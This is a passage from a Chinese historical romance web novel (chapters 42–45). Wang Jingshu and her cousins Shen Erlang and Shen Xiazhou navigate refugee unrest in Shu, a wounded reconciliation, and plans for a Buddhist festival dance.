王静姝赞同地点了点头。 沈二郎瞥王静姝一眼,又状似无意地提起沈遐洲叹道:“我们遇上这些流民就已很是为难,三郎不但要从成了气候的流民军手里夺回阴平,还要招安和安置他们。” 沈二郎摇头几下,其中为难想想可知。 王静姝越听越面露古怪之色,二表哥一长串的话中遮遮掩掩地透着事情的真相,二表哥是知道今日所走的道会遇上流民的,也如他所说,再往下走,这是不可避免的,是为了给她提个醒。 但二表哥的态度也足以表现,他并不知会有这般多的流民,就像是突然出现的一样。 而且,怎就突然提起沈遐洲了,还为他发愁了起来? 两人蓦地沉默了。 沈二郎在想到底是哪里没有计算到,流民怎会突然增多?按他原先计划,他本该姿仪甚好地借助零星遇到的流民,为表妹长个见识,然后再趁机说起要安置流民的不易,这差事落到三郎身上,也是极为难办的。 到时再带表妹先远远见见三郎端秀善良、尽责,也就能打消许多的成见了。 他可谓是为了三郎也为了王表妹,费尽心力地安排啊。 他打定主意,与其让长公主为了利益和拉拢,给三郎指婚个联姻对象,那不如先让三郎选个喜欢的,他瞧着王表妹就很不错,还能制得了三郎,就是三郎,实在太不会追慕女郎了,哪有用绑这种手段的? 只能他多操劳一些了。 而与此同时,王静姝则是想,是不是不该太信任二表哥,二表哥答应帮忙和怂恿的事吧,好像就一件没有成功过,就如介绍的名士,就会同时带个强有力的竞争对手(沈遐洲),答应帮她举麾赢得端午祭拔选,他先中了招闹肚子,再到了现在,怂恿她去沈遐洲面前耀武扬威—— 他们真能平平安安到吗? 二人目光兀地撞在一块,不信任与别有用心相碰,各自移开了视线。 两人尤在平复着百日里遇到的惊险,快入夜造饭时,明明足够隐蔽,炭火也无烟无焰,可就是又吸引来了一大波的流民。 当即默契地扔了锅饭就跑。 这次反思原因时,终于有了些进展,正因他们的炭无烟无焰,而放松了警惕,然则饭香比焰火更吸引人,流民之间相互察觉跟从,才总是汇聚而来,其次,还有个坏消息,阴平郡的僵持,导致周遭原本汇集的流民难以安定,更不受控的往外迁动,甚至扩散至梓潼和广汉郡。 所以他们才会在赶路时遇到越来越多的流民。 接连被围追几次后,沈二郎与王静姝再也不敢埋锅造饭了,而且他们也没什么余粮了,就是那些暗中卫士也流散许多,如今两人简直相看泪眼,确实刺激死了,刺激得时时刻刻都要注意着小命。 沈二郎宽慰:“表妹,别难过,怎么这也是难得的经历,多少人一辈子也难体会一次。” “再忍忍我们便能到梓潼城郭了。” 脸花花的王静姝再也不想理会沈二郎了,只竖着耳听星轨打听来的消息,听闻是有京中来的官员,下令锁死了周邻三郡,并强制各郡接收流民。 这是为防流民扩散得更广引起不必要的动乱,也是为收编安置流民。 王静姝若有所思点头,难怪刚开始遇上流民时,流民都是向外逃的,而后来遇上,便成了同路。 她与沈二郎原是想过放弃去梓潼,及时离开,但也因三郡封锁及远近的原因,才继续向梓潼。 也更知那京中来的官员许是沈遐洲。 在沈二郎的对比下,她现在竟有点想念沈遐洲。 然,王静姝与沈二郎对沈遐洲只猜对了一半,来洛京的官员确实是他,但他如今并不在梓潼,他心中因与王静姝的约定,只想快点结束这边的动乱,故而日夜兼程地赶到梓潼下布了一系列措施,又赶去了吕思温扎下的营帐。 以至于他收到夜阑送来的王静姝消息已是几日后,彼时,正是攻下阴平郡的关键时候。 众人只见上一刻还细听他们商讨的年轻郎君,面色陡地冷寒了起来,眸中若有幽火。 陷落流民领袖手中的阴平是必须取回的城池,但这无疑是个极大的烫手山芋,那般多的流民如何安抚,又开哪一郡的粮仓? 也正因为这种犹疑的人太多,吕思温一直不能好好地调动地方兵马,而他从京中带来的兵马对上据守阴平的上万壮勇显然不够,甚至当对方使出用阴平城中百姓和流民当肉盾的损招时,他的长处根本无力施展。 沈三郎来了,也一样要面对这样的难题。 除去夺回阴平郡,安置流民,不但需要能力,也更是一个得罪人的活。 他已不耐听这些人的争执不休,不容置疑拍板:“今夜攻城。” 有人仍然想说些什么,被年轻郎君目光触上一瞬,一股恐惧油然而生,这位郎君绝非吕三郎那般听劝能左右的人,若是他多提一句异议,他的脑袋下一刻就会搬家。 沈遐洲回到帐后,喉头涌出一股腥甜,他后悔了,他不该为了自己的私欲,将王静姝强带入蜀地。 不知女郎到底在何处的不安深深攫住了他的心脏,他一会企盼女郎能乖一点,继续去往早有安排的蜀郡,可心中又深知,女郎和自己二哥都不是什么安分的人,他们甩开他的 人,必然有什么不可告人的行动。 他擦去唇角的血,问嵇牧夜阑那边可还有什么新的消息。 嵇牧摇头,有些担忧郎君不断奔波的身体道:“二郎君也在,不管去何处,想来都能照顾好王娘子的。” 沈遐洲阴沉沉望了嵇牧一眼。 他的女郎凭何要二哥来照顾,况且王静姝还明明白白的欣赏过沈二郎,这种往上冒的阴暗,令他胸腔中气血翻涌更甚。 “你立马带一队人去寻他们二人。”沈遐洲当即将自己剩余的卫士也全调出,“把他们安然无恙地带来。” 心中虽恼沈二郎,但无疑的,在关心女郎的同时,他也在乎沈二郎的安危,可他仍旧不能接受二人行在一块,而王静姝竟然愿意就那样跟着沈二郎走了,他又增了一句,“分开带来。” 那就是连路途中的相处也不让了。 嵇牧诡异地理解了郎君的用意。 当夜,嵇牧带着一队卫士出去寻沈二郎与王娘子。 而沈遐洲也强硬地非拿下阴平不可。 连攻了两日,阴平拿下了,然出去寻人的嵇牧却恰好与王静姝和沈二郎错过。 两人有惊无险地入了梓潼,梓潼太守接见了沈二郎,接二人到府中小住洗尘,沈二郎又用身份的便利,带着王静姝跟从运粮的队伍去了阴平。 此时两人所行的目的也变了,从刺激沈遐洲,变成了吓他一跳,看望他可有受伤。 一路他们听闻沈三郎英勇果决,身先士卒,又斩杀周遭豪强,接受收纳流民。 王静姝倏地觉得这个郎君既熟悉又陌生,还有些说不清道不明的激荡。 沈遐洲是洁净漂亮又俊朗的郎君,他固然武艺高强,可王静姝未曾窥见过他如武将一般入乱军阵敌中,也想象不出他杀敌的模样。 是会狰狞恐怖?还是如沾血的鹤一般沉静优雅? 她听见自己的心鼓咚咚,一路所见所闻竟然都抵不上这一刻的期待,她想,她能被沈二郎说动冒险,其实也无不有沈遐洲的吸引在。 送粮的队伍到了阴平,她与沈二郎免不了跟着被盘查,远远望见出城来的一个白袍小将,随着这小将的靠近,王静姝认出来人是吕思温,吕思温也见到了王静姝,震惊极了,女郎素简方便行动的衣裙,乌发堆盘,但并无华饰,只在发尾上几寸,用绸带绑缚成一束。 然她的脸庞又是极明妍的,尤其是在这样破败又重规整的城郭中,她醒目至极,已有很多很多的人在暗中打量她,她无畏地不动,甚至用眼压制回去,素妆布裙也难掩她身上的独有的气势,明明白白地告诉旁人,她是有来头的女郎。 众人都不敢再多瞧她。 吕思温也一样,他心中蓦地升腾起一阵羞窘,当初离开洛京时,信誓旦旦地还想为女郎分忧,却空有一身武艺,连地方关系都处理不好,兵马调动都还是瞧在吕相面子,最后几乎是沈三郎在使唤他。 现下也是沈三郎命他去接粮草,当然不是已经送到城门口的粮草,而是更远一些州郡的粮草,不止是官府的,还要想办法从世家与豪强手中筹得,他知沈三是不愿坏了自己的名声,让他去,可也是他自愿的,他没有沈三掌控全局的魄力,但好在还有身份和武艺可用,他去筹粮草,身份够高,也够得罪得起人。 “吕郎君!”在吕思温还没想好如何面对女郎时,王静姝先唤了吕思温。 吕思温马速减慢,直到在女郎面前停下,“六娘子怎会来阴平?” “这说来话长,”王静姝眼眸微掀,上前一步:“倒是要先恭贺三郎此战大捷。” 吕三郎赧然,想说些这次他非是出力最多,就听闻女郎连珠一般地问:阴平内里如今可是安稳了?都缺什么…… 最后,才是问,沈三郎如何,他可有受伤? 女郎掀起的眼睫,在提及沈三郎时,向下微阖了阖,颤得如微动的蝶翼一般。 吕三郎心脏蓦地被击一下,敏感地察觉,或许最后一句才是女郎真正想问的。 他唇瓣翕张一下,还未说出什么,那边沈二郎已然眯了眯眼,他千辛万苦将表妹带来可不是为了便宜这小子,怎还喊得这么亲切,他家三郎果然离不开他这个兄长,当即清咳几声,喊道:“表妹,我们该入城了。” 王静姝扭头一瞬,吕三郎也低怅道:“六娘子去吧,沈三郎受了伤,应在太守府中养伤。” 受伤了? 王静姝心中不免担忧,吕三郎却已翻身上了马,她也被沈二郎拉一下,避让开,双目交汇一瞬,彻底道了告辞。 入了城,沈二郎就不与那些押送粮草的人一行了,他们准备径直去太守府寻人。 然,又是一阵错过,沈三郎是借着养伤的名头谁也不见,其实前一日夜里的时候就离开了。 无法下,沈二郎倒是自然极了地接过了一些沈三郎未及处理的事,还等得了几波失散的卫士寻来。 沈遐洲会去哪,王静姝其实能想到,他一定去寻她了,每当这时候,她就望一眼沈二郎。 沈二郎一边理亏地多干活,一边道:“表妹,这事本就是三郎先绑走你的错,你我顶多算是运气不好。” 他说完的当口,一片衣袂从门外掠过,紧接着就是嵇牧深深望了房中的两人一眼。 那方才门外走过的是谁也就不言而喻了,是沈遐洲回来了。 沈遐洲是负气走的,他掐死屋中两人的心都有了,这两人的胆大妄为简直到了一种地步。 可他们说的又没错,若非他偏要将王静姝带出来,又无法将她放在身边,也不会发生后面的诸多事。 但他也实实在在地又伤了心。 嵇牧见自家郎君多有消沉,也有些气不过:“二郎君此次实在过了,他们根本不知郎君此次为了寻他们顶住了多大的压力。” 郎君连杀了几名不听话的地方将领,又亲到阵前劝降,方得以顺利将阴平夺回,夺回后也非万事大吉,杀了那几个流民领袖在壮勇中立威,又施以利益将他们收编,还有四散各处的流民需要定出安置的流程。 这些吩咐下去后,并未得以休息,以养伤为借口不见人地去寻二郎君和女郎,好在行到半途时与他撞上,送来新的消息。 结果,相聚的场面却是听到这般伤人的话。 沈二郎也心知说错了话,夜里的时候入了沈三郎的房中,没说几句被扔了出来的。 反观王静姝那儿,犹豫许久迟迟没有主动去寻沈遐洲,而沈遐洲这次也未主动寻她,但遣人送来了口信,说她可以走了。 王静姝气得浑身都抖,沈遐洲这是什么意思,想带她离开洛京就离开洛京,现在却见不都见她说她可以走了。 她王家六娘子,是那种任他召之即来挥之即去的人吗? 怒问:“他人在哪?” 无人敢告诉这位娘子,沈二郎像是早早就等着似的,偷偷从门外招了招手:“表妹,我知晓三郎在哪,我带你去。” 王静姝一言不发地跟着他,沈二郎汗颜无比,这和他想瞧的热闹可是相差了十万八千里。 他想的是,带表妹外出游历见识一番的同时,让表妹发觉三郎也是正派的人,绝非只会做出绑缚女郎的人。 可好在虽发生了些波折,但也算达到目的地带着女郎瞧见了三郎是如何安置流民,又是如何地与人为善。 沈二郎不由道:“表妹,我们三郎其实自小就是个温柔雅正的好郎君,虽然后来长得歪了点,但本心还是良善无比的,你瞧瞧,他做的多认真。” 偏脸一瞧,再也夸不下去,只见王静姝望着远处身着葛布衣袍的郎君,冷笑:“他装的。” “他别有企图。” “我之前与二表 哥一同帮忙誊抄名册的时候就发现了,他留下了许多壮勇。” 王静姝是世家出身,有些东西即便初时不懂,但事后也能回过味来,什么样的流民更吃香?参照诸多世家豪强的发家史,无不是吸纳青壮的流民,壮大自身的坞堡。 他倒是做好事的时候都不忘为自己左添一点声名,又添一点好处,用的粮草还是指使吕三郎用吕相的名头去敛。 沈二郎不由抚额,完全撮合不动两人。 “二表哥,你就帮我转告他,我回洛京了。” 王静姝越说越冷静,原先被气急想寻沈遐洲理论的念头也渐渐打消,留下需要转达的话,转身要走。 还在做好事的沈遐洲实则一直留意着这边的动静,陡地见着女郎来了后便要走,脸色微微地扭了一下。 正托着碗等施粥的老人惊骇得手抖了抖。 “郎君。”嵇牧提醒。 沈遐洲为老者打了满满一碗粥,笑意温柔,叮嘱亲切,既而将粥勺往嵇牧手中一塞,追女郎而去。 熟悉的拉扯感,王静姝都麻木了。 有人自后地靠在她肩头,似喃又似怨地道:“卿卿,我实在听不得你说走字。” 第43章 第43章“我不吃你这一套。”…… 王静姝用力推开沈遐洲脑袋,眼神冷淡:“不是你让我走的吗?” 女郎有一双非常漂亮的眼睛,乌睫浓而扬,扑如细羽开翅,其下眼眸也清清透透得像是浸水的宝石一般灿然,但她冷眼看人时,那剔透的眸光就像是凉水一般将人浇得透心凉。 这一眼,沈遐洲就知道,王静姝是看透了他的手段。 他轻拉着女郎腰间的环佩,轻声道:“我那是伤心了,我想等你来寻我。” “你绑架我,你还伤心了,还想我去寻你?” 王静姝也被他的不要脸给惊到了,从心中生出了气,从他手中用力扯回自己的环佩。 沈遐洲却不放手,不管是什么,只要与王静姝有关的,他就从未想过放手。 以退为进不行,那就继续不择手段。 王静姝见夺不回自己腰间的环佩,干脆地去解开那带子。 沈遐洲握住了女郎的手,掀眼间浓黑如墨,摄人心魄,然那浓墨一瞬就化开了来,变成黏黏糊糊的一团,“你来寻我,我其实很开心。” “但也很害怕。”他抚上了女郎的颊靥:“我会不受控地担忧你会不会遭遇什么?路上可能吃好?你连婢女都没带,谁人照顾你?” 他的目光落在了女郎发间,一点一点下挪,王静姝是自来喜鲜艳喜享乐好美饰的女郎,可此刻,在阴平这样的地方,她身边没有了侍女,也没有了华服与美饰,口脂也不曾涂抹,露出了她本来的唇色,不寡淡,但明显的不够艳。 他的拇指跟着摩挲过女郎的唇瓣,“卿卿,我害怕。” “也后悔。” 王静姝心脏猛然地颤了颤,她知道他说的害怕什么,后悔什么,他也太犯规了,这番剖白若是放在别的郎君身上,难免少了几分动容,可他眉淡如墨,衣袍不胜,她抬眼便恰触及他领口处露出的颈子,喉结轻滑,再往上的肌肤略显苍白,唇色也淡淡的。 他虽在人前做戏,可他所言又都是真的。 他是个矛盾重重,既坏又善于拿捏人心的郎君。 不该对他太过心软,可她似乎就是会被这样的郎君吸引,每多看一眼,每多听一刻,她的心就跟着沉沦一分,他听到郎君说: “二哥说我不懂如何追慕女郎,我也心知我不够好,不是你喜欢的那种郎君,你喜欢什么样的郎君我去学可好?” “别回去好不好?” 这一下,王静姝觉得自己就像是话本中的书生,被出现的狐妖拿捏得死死的,她哪里不喜欢沈遐洲这样的郎君,自幼时她就喜爱这样气质流离,又如春山秀水一般俊美的郎君,虽后面逐渐认清他的本性,可仍旧会被吸引。 过往他孤且傲,她也满是好胜心,关系差时,谁也不对谁低头,可现在,他学会示弱了,说话也温温柔柔,像是情人的低语,就好像他们的关系还极好,即便想争吵也如打到了棉花里一般。 她艰难地别开视线:“我不吃你这一套。” “那你吃哪一套?”沈遐洲从善如流,又去勾拉王静姝的环佩和绦带。 王静姝被他问得羞恼,用力扭头要推开他一些,却不防沈遐洲低垂下的面容就在咫尺,粉桃一般的唇瓣就这般擦面而来,沈遐洲想也不想地垂头,亲吻,还吮着吸了吸,他似尝得了味,更是不放地拥上了女郎的后腰。 四处经遭抢掠的阴平,他们的背后也不过是破落的门板,门板咯吱,王静姝面红地推沈遐洲,没想非但推动了,还将人推倒了,年轻倒退趔趄几步,跌靠在了散着干草的柴垛处。 他似还浸在方才的情欲中,目中几分茫然,只见女郎惊恐的神情,想解释解释他平时不是这么弱的,却感身上某处,有什么渗出,低头看去,鲜红浸透了腹处衣袍。 王静姝不敢置信地跑至他身侧,语中惊恐又害怕:“沈九如,你这是怎么回事?” “你不会死吧?”王静姝实在太久没经历过这样随时会出事的郎君,他怎么推一推就倒,还往外渗血啊。 她手都不知如何放才好,一会想去捂他的腹处,又一会怕他晕过去地拍拍他脸。 沈遐洲捏住了女郎拍来的手:“我死不了,是伤口裂开了。” 所以他受伤原是真的,还带着伤去寻她与沈二郎,最后还恰好听到沈二郎与她的谈话? 王静姝的心非但软了,还生出了一点点愧疚,她嗫嚅地道歉:“我方才不该推你。” “我去为你寻人来。”她提起裙摆就要起身去寻人,却被郎君猛拉一下,跌坐回去,不解地撞入了郎君乌黑的眼眸。 那眼眸直望这处屋房外,有一片靛色衣袍透过门缝,王静姝吃惊一下,将沈遐洲护在身后。 “是二哥。”沈遐洲心底生出点点喜悦,王静姝的举动是骗不了人的,她担忧他。 王静姝却感受不到他的喜悦,她整个人都僵了僵,望向门外不再藏的身影,确实是沈二郎无疑。 她根本不知沈二郎是何时来的,又来了多久? 可是听到了她与沈遐洲方才的拉扯? 然这些思绪也就一瞬,她连忙喊:“二表哥,三郎快不行了,你快来看看他。” 沈二郎自然是瞧见了三郎身上的伤势,或者说昨日夜里被扔出去前就已见到过,所以才会听得里面惊喊动静时,犹疑地显露了看戏的马脚。 但三郎也没到“不行了”的地步吧? 他脚步滞了一瞬,望见三郎也一样的吃瘪神情,就又开怀了,将人扶起时,状似担忧地叹道:“三郎啊,你这样不行啊,身体如此差哪有女郎会看上你,我就早让你多多修养吧?” “非要朝堂上下地乱折腾不够,还跑到外头来建功立业,你可知我与表妹是有多担忧你?” 沈二郎望一眼王静姝,还不够的道:“你瞧表妹多康健,你多同表妹学学。” 王静姝对此极赞同地点头了。 沈遐洲咬牙吞声不已,恨沈二郎在报昨夜的私仇,二人昨日夜里其实就已见过,但沈二郎实在太多话,吵得人伤口疼,就唤人将他扔了出去。 没想今日就又过分上了。 他实不知王静姝到底如何看他了,他想辩解几句,可又卑劣的想,或许只有继续装相一点才能骗得王静姝留下。 他缄口不言,默默忍下了沈二郎的趁机数落。 王静姝也确实没有走,跟着回了太守府,在外等着医师为沈遐洲换药。 沈遐洲换药后,披好中衣,被叮嘱好好修养,沈二郎还想唠叨几句,触及三郎阴恻恻的眼神,半天吐出道:“你这样表妹不会喜欢你的。” 年轻郎君双目更是漆黑如墨。 然听得女郎入内的脚步,他陡地收了那股汹汹杀意,带着淡淡病气倚靠床柱,仿佛命不久矣的虚弱。 沈二郎虽触及了些三郎与王表妹的关系,有意撮合, 可三郎这般变脸也实在、实在太快了些。 王表妹那般明妍朝气的女郎,怎么瞧都是更喜爱那种英勇有气概一些的郎君吧,三郎这也反其道行得过了吧? 第44章 第44章“我听卿卿的。” 沈二郎有意提醒几句,却见王静姝已然入了内。 王静姝一眼就瞧见了沈遐洲,他面色苍白憔悴,虚弱十分,仰靠也显得几多无力,可他容貌又非常出众,闭目时自然敛下的眼睑,随着细细来回的呼吸轻轻颤上一颤,就如山巅的晴光薄雪,既耀目,又极怕他散。 就是这种要死不死的脆弱感,王静姝觉得自己很不道德地被吸引住了,连走近的步子都轻了许多。 沈遐洲有所感地睁了眼,有所动作地要坐起些,被上前的女郎轻按住了:“三表哥,你才重新上了药,别乱动了,免得伤口又崩裂。” 女郎语调无比的柔和,就是对待极易碎的珍宝一般,她的双眼也自始至终没有离开郎君的脸,那眼神与普通的欣赏不同,还多了些怀念,细辨下还有些责怪与叹息。 沈二郎在喜爱看热闹的同时,也极爱观察人的细微神情与表现。 王表妹现在的古怪就如当初提起三郎的那抹可惜,一样难以琢磨透。 三郎非要给自己安上病得快死了的设定,而王表妹似乎也很不正常? 正琢磨的关头,三郎目光瞟了一眼他手中的药碗,又余光上挑一下,大有“你怎还在这儿”的意味。 沈二郎心中不耻地啧叹一声,借故将药碗交给了王静姝。 他在外廊道走了片刻,忽地顿住了脚步,他方才,回想起了带三郎给王表妹送药那日所谈内容,表妹是在听得他说三郎病好了才流露出古怪神情的。 福至心灵般的,他似窥见了表妹心中所想,不由摇头一笑,这世间,病得快死的郎君或许非三郎一个,但能有三郎这样病起来也好看的,难寻。 这次看来,也不算他又坑了表妹。 * 接过药碗的王静姝没有多说话,一口一口地给沈遐洲喂药。 这是加速伤口愈合,避免伤口感染发热的药,黑糊糊一团,浓烈的中药味道充斥房中,光是这味道就能猜得到底有多良药苦口。 一个一口一口地喂,一个一口一口地吃,每一口,苦涩就要在口腔与喉腹回转一次。 但两人没有一个露出了难以忍受的神情。 一个极温顺,一个极专注,如沈二郎所想,王静姝确实对病得快死的郎君接受良好,甚至怀念,这世上就是有一种人,明明病得不行了,偏又能将那种病气融入自身的气质中,不显油尽灯枯的灰败,而是像南方的雪,不常见又稀疏薄透,接到手中的时候,总是没来得及多瞧瞧,就已融在手心。 沈遐洲给人就是这样的感觉,精致典雅,还对自己的生不生,死不死一点也无所谓。 这便是她第一次见到沈遐洲时的感受。 所以,她常常怕沈遐洲就如雪一般见一次少一次,怕他突然消失。 只有每日都去瞧一瞧他还好好的,才能放心。 怀念之余,也生出责怪,他又落到这副模样,大半都是他自己作的。 而她,也在这极宁静的相处中,既欣赏他的虚弱俊美,又在衡量计较,她知道的他不是个好郎君,心眼小,身体不好,行事也诡谲,他不是她想象中表里如一需要呵护的郎君。 可她又实实在在地被这样独一无二的郎君吸引。 一碗药喂完,王静姝也一念既定。 她就再留留,看看这总虚弱得不行的郎君到底还能做出什么。 也欲在放纵中,瞧瞧自己到底喜欢这郎君什么,是他俊美的面皮会占上风,还是先受不了他诡谲的行事。 就如他们分开的突然,和好的契机也突然无比,默契地知晓这里不是洛京,也不是建业,没有被迫离开建业的王六娘子,也没有被长公主时时盯着的沈三郎。 一瞬的功夫,沈遐洲好似又是那个总赧然害羞的别扭郎君,而王静姝也又是那个一旦喜欢就什么都不管的肆意撩拨的娘子。 嵇牧望着他们平静无比的喂药喝药,那种悚然又悄悄爬上了心间。 这两位祖宗的游戏可真是一次比一次诡异可怕,他家郎君要是再疯一次,简直不敢想象,二郎君真不该将王娘子拐来。 这哪是撮合,分明就是不定时的惊雷。 他想,他不如去接王娘子还在来路上的女婢们,默默连守在门口都待不下去地走了。 沈遐洲垂着眼睫,无声地感受着口腔中的涩意,女郎不愿与他再生纠葛,可她果然庸俗,肤浅,还极好骗的心软。 但他也清楚地知道,她也是极薄情,喜欢和心软得容易,一旦看清就舍弃放弃得也容易。 他幽暗的眼眸光闪一下,那就一直骗下去,伪装成她喜爱的那种郎君,光明磊落再善良一点。 再抬眼时,他对她清雅一笑,笑容清浅又克制,那些微的病气也似揉碎的水光,直击王静姝的心脏,她心动下要为郎君擦拭唇角的一点药汁。 沈遐洲赧然退却,弱不胜禁地要避不避,双靥浮起一点点不自然的微红,握住了女郎不断凑近他唇角处的手,“你还走吗?” 他又低垂下了眼睫,语气淡淡,不舍却又好似无力的怅然:“我如今这样了,若你还想走,我也拦不住你。” 欲语还休的一眼。 王静姝却噗呲地笑,“沈九如,你承认吧,你根本不会放我走。” 被戳穿的郎君神情微扭一下,却不经意地望入女郎分外剔透漾水的眼眸,她还在笑,笑得艳光四射,遍体芳华,耀目得人晕眩。 他确实不会真放女郎离开。 女郎看透他地嗤笑,将药碗往一旁的小几上一放,站起身,双手捧起了他的脸。 发从女郎的肩头不断滑落,光线也被遮挡了大半:“所以你这次想把我往哪送,还是蜀郡吗?” “你心眼怎这般小,你是怕我回洛京无法施为破坏吗?” “你不是总说我弃你吗,那我便再与你试试。” 女郎一旦无所顾忌起来,沈遐洲心跳也猛地加快,总觉得女郎说的试试似乎还有别的意味。 可也同样的,这怕是最后一次。 他心鼓咚咚,果然又听得女郎道:“前提是你不得再骗我,你那些乱七八糟的手段也不能再用到我身上。” “也别老装模作样,我不吃你这一套。” 熟悉的话语,沈遐洲蓦地笑了,她分明很吃他这一套,可也就一瞬的功夫,他就敛了这窃喜的笑,目中漾出温软的喜悦,顺势蹭了蹭她的手心。 他亲了她的手心。 还回望她笑道:“我听卿卿的。” 王静姝被烫到一般收回手,沈遐洲这人,学习能力简直太快了,他羞赧但不再生涩,总会在不经意的时候就撩拨她一下。 王静姝羞恼地去捂他的嘴,“我从未同意你这般喊。” “那喊你什么?姝儿妹妹?” “姝妹妹?”沈遐洲似得了趣地一个个称呼试验过去,语调缱绻,又拉着王静姝问:“那你是不是该喊我九如哥哥,或是遐州哥哥?” 光是想想这些称呼从女郎口中喊出,他血液就几欲沸腾,他仗着伤势,拉着王静姝讨价还价,连记恨许久的吕思温都被他攀扯了出来,道王静姝竟喊旁人三郎,还病态地问:“你喊三郎的时候,想的是他,还是我?” 第45章 第45章可你为什么离我更远了?…… 沈遐洲简直给他几分脸面就能开始染坊来,王静姝不愿与他多胡闹,用怀疑打量的眼神在他伤处来回扫了扫。 “你不会怀疑我骗你吧?”沈遐洲目露伤怀之色。 他为达目的确实越来越会做戏了,可这伤口却可见的是真的,他伸手就去解衣 ,甚至要将刚重新包扎好的伤处解开。 王静姝惊吓地阻止他,她觉得沈遐洲是真的有些不正常,他好像疯的越来越严重了。 可对付这样的疯郎君,王静姝自有一套办法,她阻着沈遐洲的动作,微笑着摇头,“我没有怀疑你。” “我是想起你先前流的血,我被吓到了。” “我想知道你是怎么受的伤?” “战场上刀剑无眼,受伤是常事。”沈遐洲说得有些含混,但他溺于女郎的关怀,拉着王静姝问:“你当真不想去蜀郡吗?” “你为何一定要我去蜀郡?”王静姝不解。 “我也不是很想你去蜀郡。” “但我更怕你觉得无聊啊。”沈遐洲轻叹又带着些委屈地摩挲女郎的指骨。 他从强行带走王静姝时就犹疑过,犹豫是将她带在身边还是送到更安全的蜀郡,无疑的,蜀郡是更适合女郎待的地方,安全,也繁华,王静姝这般爱热闹的女郎只要去了,一定会感兴趣。 如今也是如此,他即便将王静姝留下了,知晓她不回洛京了,可也仍旧会担忧她会感到无聊,怕她一旦感到无聊,就又生了回洛京的心,既然这样,那不如继续送女郎去蜀郡玩乐几日,等他尽快将阴平的流民安顿了,就去寻她。 一切也能回归到一开始的轨道中。 “沈遐洲,你又给我来这一套。” 女郎清脆的声音传入郎君的耳中。 “你弯弯绕绕的,不就是想我自己说留下来陪你吗?” “你若是怕我无聊,就让我看看你每日都在做什么。” 她想与沈遐洲多相处,最好相处到更认清彼此,或许只有如此,才能将当初突然两清的不甘消除。 而且,她也想寻得决定选择沈遐洲的理由,因为这实在是个麻烦的郎君,他野心甚大,母亲还并不喜欢她。 她的心犹在摇摆。 但她愿意再接近他一些,探究一些,不再止步于那终会老去的容颜。 沈遐洲自然不会拒绝女郎的请求,所以,在他修整一日后,就迫不及待地重拾那些公务。 他可真是作死了地作秀啊,王静姝就瞧着他身子还没好,就见了许多的人,有些是地方官员,有些是府衙小吏,他们有的负责郡县的管理,有的是能切实地每日与流民打交道,他们规划将过多的流民分散到不同的村镇县中…… 王静姝静静瞧了许久,晃荡来的沈二郎问:“表妹看出什么了吗?” 王静姝:“作秀。” 沈二郎干笑几声,夸道:“表妹好眼力。” “可即便是在作秀也是在做好事不是吗?”沈二郎抛出一问。 王静姝无可反驳地望向沈二郎,沈二郎却仍旧瞧着沈遐洲,不太正经地道:“表妹啊,你别看我们三郎总阴晴不定的,他本质可真是个好郎君。” “我虽常不赞同他的行事,可总比一点追求也没有的好。” 其实他更想说的是“比不想活的好”,三郎年纪轻轻时就在中毒后一点求生意志也没有,现在想想都后怕,可麻烦的是,现在追求也太大了些,学谁不好,非学长公主。 沈二郎露出头痛无比的神情,又晃荡着走了。 王静姝再次看向那与诸多小吏侃侃而谈的郎君,他毓秀清朗,除了面色仍旧有些苍白,但并不减他的一派高华。 王静姝其实并不怎么见到郎君这样的一面,她过早地见过了沈遐洲阴暗的那一面,所以再来瞧他这端正的一面,总觉得他是在作秀。 他分明不是好人,他这次也不知自己收纳了多少的私兵,当然还有很多的人心。 王静姝不太明白他为什么过早地收拢这些,他是沈家家主和长公主的亲子,这些东西,时候到了不就自然有了吗? 可也如沈二郎所说,即便是在作秀那也是在做正事,而且,他在做这些的时候,那副好相貌更显端正,纯善,还有些美好。 她一边排斥的同时也一边被吸引。 她有点不知自己到底想要什么了,也越发地看不懂沈遐洲了。 她对他产生了更多的好奇。 沈遐洲与那些小吏说完话,走到女郎身边:“是不是很无趣?” 王静姝摇头。 沈遐洲便拉了她的手道:“过两日便是大势至菩萨佛诞日,阴平百姓乃至流落到蜀地的百姓都是天灾与人祸的受害者,我同衙吏们商量从梓潼郡请一座佛像和一些法师,为死去和还活着的人行一场佛事,也祈求日后再不受血光兵刃之灾。” “你要与我去一趟吗?” 阴平死了这么多人,确实该做一场法事,王静姝这些时日见了许多的流民与生死,她的心境也发生了许多的变化,听得此邀请,第一反应竟是对这些宗教有了信服。 她点了点头,答应要陪沈遐洲一起去。 梓潼并不算远,骑马的话一日就可到,王静姝自己就会骑马,沈遐洲便反其道而行,道伤势不曾痊愈,要与她骑一匹马。 王静姝乜一眼他,看穿他的把戏。 同乘那必然会减慢了行程,沈遐洲还时不时地在路过村镇时要停下来,招来里长,亭长们过问一下流民的安置问题。 又是一次等待后,郎君自后贴来,他圈住王静姝的腰牵住缰绳,嗓音有些低落的沉:“卿卿,我已经在做一个好郎君,可你为什么离我更远了?” “你不是说要与我试试的吗?” 郎君的嗓音就贴着女郎的耳膜在喃响,王静姝只觉得痒痒的别开一点,或许连她自己都没发觉,她在观察沈遐洲的同时,不再如往常一般举止亲昵。 沈遐洲发现了这一点,忍至今日才提。 他觉得这于他而言非常的危险,他有种留不住女郎的感觉,她的喜欢来去都太快了些。 王静姝茫然扭头,不懂他从哪得出的结论,她分明是在更愿意接近他啊。 四目相对间,沈遐洲先败下了阵,他垂下眼,不受控般地阴鸷。 这夜,他们暂借住到了梓潼最有名的灵泉寺中,梓潼太守得知了此事,也前来拜见,但梓潼太守对沈遐洲所提议颇为为难,借出佛像并不是难事,难的是要凑齐能支撑整个佛诞日需要的各种佛事人员,梓潼离阴平近,故而也颇受波及,佛诞日这日自然也是需要行佛事,舞《四方菩萨蛮》助阵。 要完完整整地将这一整套班底借出去,那他们梓潼又如何过佛诞日? 最后商讨下来,能借到的只有佛像与二十大师,还有部分助阵佛舞乐伎,加之阴平本就余下的班底,最后只差了助阵的主舞天女。 王静姝听得掀了掀眼,佛、道两教是此时兴盛的两股宗教,两教又有佛事舞蹈,与道教舞蹈之分,佛舞有《天竺乐》《四方菩萨蛮》,道舞也有《紫极舞》、《八卦舞》等。 若非被沈遐洲骗出了洛京,她自编的《飞天舞》或许也能在洛京大势至菩萨日时,施展一二。 她逃亡一路,有卫士和二表哥庇护,其实没有受到什么伤害,但也一路见识颇多,她为那些沿途死去的流民伤感过,也无能为力过。 她忽地想起二表哥说的话,沈遐洲不管出于什么目的,他确实是有在做好事。 或许她也能做些什么,事虽有偏差,她的舞用在为那些死去的百姓求往生也无不可。 